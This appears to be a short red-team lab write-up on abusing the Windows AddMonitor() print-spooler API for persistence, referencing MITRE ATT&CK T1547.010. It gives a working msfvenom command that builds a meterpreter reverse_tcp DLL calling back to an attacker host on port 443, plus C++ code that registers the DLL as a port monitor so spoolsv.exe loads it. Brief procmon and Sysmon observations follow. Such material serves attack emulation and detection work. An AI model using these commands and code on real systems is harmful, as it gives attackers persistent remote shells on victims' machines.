AddMonitor()

Execution

Generating a 64-bit meterpreter payload to be injected into the spoolsv.exe:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil64.dll

Writing and compiling a simple C++ code that will register the monitor port:

#include "stdafx.h"
#include "Windows.h"

int main() {	
	MONITOR_INFO_2 monitorInfo;
	TCHAR env[12] = TEXT("Windows x64");
	TCHAR name[12] = TEXT("evilMonitor");
	TCHAR dll[12] = TEXT("evil64.dll");
	monitorInfo.pName = name;
	monitorInfo.pEnvironment = env;
	monitorInfo.pDLLName = dll;
	AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
	return 0;
}

Move evil64.dll to %systemroot% and execute the compiled monitor.cpp.

Observations

Upon launching the compiled executable and inspecting the victim machine with procmon, we can see that the evil64.dll is being accessed by the spoolsvc:

which eventually spawns a rundll32 with meterpreter payload, that initiates a connection back to the attacker:

The below confirms the procmon results explained above:

Sysmon commandline arguments and network connection logging to the rescue:

References

Boot or Logon Autostart Execution: Port Monitors, Sub-technique T1547.010 - Enterprise | MITRE ATT&CK®